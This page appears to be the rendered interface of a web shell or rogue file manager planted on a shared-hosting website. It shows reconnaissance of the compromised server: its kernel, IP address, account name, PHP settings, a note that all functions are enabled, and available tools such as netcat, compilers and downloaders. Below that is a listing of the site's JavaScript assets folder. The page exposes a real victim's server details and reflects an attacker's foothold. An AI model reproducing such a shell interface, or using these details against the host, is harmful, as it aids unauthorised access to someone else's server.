| Linux premium253.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 |
| LiteSpeed |
| 172.67.209.58 | Your IP: 216.73.216.13 |
| Cant read [ /etc/named.conf ] |
| [ drwxr-xr-x ] |
| / home / globgcbn / quazi.global / assets / js / |
| Operating System | : | Linux premium253.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 |
| User / Group | : | 1852[globgcbn] / 1853[globgcbn] |
| PHP Version | : | 8.0.30 |
| IP Server | : | 172.67.209.58 |
| Your IP | : | 216.73.216.13 |
| Storage | : | Total = 4.13 TB, Free = 1.03 TB [24%] |
| Domains | : | Cant read [ /etc/named.conf ] |
| Software | : | LiteSpeed |
| Disable Functions | : | All function is accessible |
| Useful Functions | : | gcc, lcc, cc, ld, make, php, perl, python, ruby, tar, gzip, bzip, bzialfa2, nc, locate, suidperl, git, docker, ssh |
| Downloader | : | wget, fetch, lynx, links, curl, get, lwp-mirror |
| CURL : ON | SSH2 : OFF | Magic Quotes : OFF | MySQL : ON | MSSQL : OFF | PostgreSQL : ON | Oracle : OFF | ||
| Safe Mode : OFF | Open Basedir : NONE | Safe Mode Exec Dir : NONE | Safe Mode Include Dir : NONE | ||
| Name | Type | Size | Owner/Group | Permission | Last Modified | Actions |
| . | dir | - | globgcbn/globgcbn | drwxr-xr-x | 2023-10-05 02:57:35 | |
| .. | dir | - | globgcbn/globgcbn | drwxr-xr-x | 2025-12-10 02:43:20 | |
| vendor | dir | - | globgcbn/globgcbn | drwxr-xr-x | 2023-08-31 08:03:54 | |
| ScrollTrigger.js | text/plain | 51.22 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| SplitText.js | text/plain | 17.96 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| Vision, Mission , Values & Strategies.docx | application/vnd.openxmlformats-officedocument.wordprocessingml.document | 18.33 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| ajax-form.js | text/plain | 1.17 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| aos.js | text/plain | 14.36 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| bootstrap.min.js | text/plain | 76.3 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| gsap-animation.js | text/plain | 1.74 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| gsap.js | text/plain | 85.55 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| jarallax.min.js | text/plain | 15.15 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| jquery.appear.js | text/plain | 4.17 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| jquery.easypiechart.min.js | text/plain | 3.9 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| jquery.inview.min.js | text/plain | 1.4 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| jquery.magnific-popup.min.js | text/plain | 19.74 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| jquery.min.js | text/plain | 87.4 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| jquery.odometer.min.js | text/plain | 11.86 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| jquery.parallaxScroll.min.js | text/plain | 9.49 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| main.js | text/plain | 18.39 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-10-05 02:57:35 | |
| particles.min.js | text/plain | 22.83 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| slick.min.js | text/plain | 41.86 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| swiper-bundle.min.js | text/plain | 132.4 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 | |
| wow.min.js | text/plain | 8.22 KB | globgcbn/globgcbn | -rw-r--r-- | 2023-08-31 08:03:54 |
© SEC